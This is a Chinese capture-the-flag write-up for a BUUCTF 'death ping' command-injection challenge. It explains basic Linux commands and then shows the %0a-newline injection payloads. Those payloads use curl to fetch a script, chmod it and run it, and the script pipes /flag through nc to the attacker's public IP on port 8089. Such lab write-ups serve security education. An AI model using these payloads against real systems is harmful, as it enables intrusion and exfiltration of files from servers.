[实验室每日一题][20201123][Web]死亡ping命令

原题目：BUUCTF–[第二章 web进阶]死亡ping命令

前置基础（本题会用到的相关知识）

标准输入，标准输出是什么？

要弄清什么是标准输入输出。首先需要弄懂什么是IO。
IO 的 I 是 Input 的意思，O 是 output 的意思。
意味着输入和输出。
更确切的含义是：
I：从外部设备输入到内存
O：从内存输出到外部设备
转自：什么是标准输入、标准输出(stdin、stdout)？

linux中.sh文件是什么？

linux中“.sh”文件是脚本文件，一般都是bash脚本，我们可以使用sh命令运行“sh xxx.sh”，并且由于在linux中sh是链接到bash上的，所以sh与bash在功能上是没有区别的。
转自：https://www.php.cn/linux-419340.html
相关文章：执行*.sh 文件的6种方式

liunx命令

linux中 > 、>> 的用法

inux中>表示覆盖原文件内容，>>表示追加内容。
转自：linux中 > 、>> 的用法

管道操作符“|”

使用管道操作符“|”可以把一个命令的标准输出传送到另一个命令的标准输入中，连续的|意味着第一个命令的输出为第二个命令的输入，第二个命令的输入为第一个命令的输出，依次类推。
转自：管道符丨用法

ls命令

ls（英文全拼：list files）：ls命令用于显示指定工作目录下之内容（列出目前工作目录所含之文件及子目录)。
转自：菜鸟教程

cat命令

cat（英文全拼：concatenate）：cat命令用于连接文件并打印到标准输出设备上。
转自：菜鸟教程

curl命令

curl（英文全拼：CommandLine Uniform Resource Locator）：curl 是常用的命令行工具，用来请求 Web 服务器。它的名字就是客户端（client）的 URL 工具的意思。它的功能非常强大，命令行参数多达几十种。如果熟练的话，完全可以取代 Postman 这一类的图形界面工具。
转自：curl 命令行工具的使用及命令参数说明

chmod命令

chmod（英文全拼：change mode）：chmod命令是控制用户对文件的权限的命令。
转自：菜鸟教程

nc命令

nc（英文全拼： Netcat ）：功能强大的网络工具，体积小巧而出名，又被大家称为“瑞士军刀”。
转自：csdn

解题思路

这是一道非常明显的命令执行题目，使用nc反弹shell的方法得到flag。首先ping这个题目，实际上是题目的代码在服务器中执行了ping这个系统命令如果没有过滤的话，我们可以这样执行ip=127.0.0.1&&ls相当于在服务器上执行ping 127.0.0.1&&ls， &&是两条命令都执行，执行完ping之后执行ls是列出当前文件夹有什么文件然后我们使用ip=127.0.0.1&&cat index.php，相当于执行ping127.0.0.1&&catindex.php，执行完ping命令之后查看index.php文件内容
这样我们也就看到了index.php的内容。同样我们可以查看flag文件的内容
但是这道题目有过滤并且没有回显没有回显意思就是说我们执行命令的结果无法在页面上显示出来比如我们cat index.php读到了index的源码但是页面不显示依然没有用
因为过滤的比较严重我们只能通过上传一个脚本文件来获得flag
转自：简书
相关文章：反弹shell原理与实现

解题步骤

第一步：抓包判断过滤

1、使用ping命令。

ip=127.0.0.1%0als

2、使用Burp Suite抓包，用爆破的方式来判断过滤的字符。用手工注入的方式可以发现通过%0a能够注入新的一条命令进行执行。

补充说明：这里使用Burp Suit抓包的方式进行命令执行，而不是使用hackbar来做，是因为浏览器会产生二次编码。

第二步：搭建网站

1、这里使用的宝塔快速搭建网站

2、在网站根目录创建文件1.sh

3、编写1.sh，内容如下

ls|cat /flag | nc 公网ip地址 8089

4、打开端口

第三步

1、在靶机上用curl下载

127.0.0.1%0acurl 公网ip地址/1.sh > /tmp/1.sh   #请求bash文件到tmp目录

回显成功。
2、给bash加权限

127.0.0.1%0achmod 777 /tmp/1.sh #给bash加权限

回显成功。
3、监听8089端口

nc -lvp 8089  #你的机器上进行监听8089端口

-l 设置netcat处于监听状态等待连接。
-V 显示错误提示信息。
-p 设置本地监听的端口号

4、执行1.sh

127.0.0.1%0ash /tmp/1.sh

最后得到flag。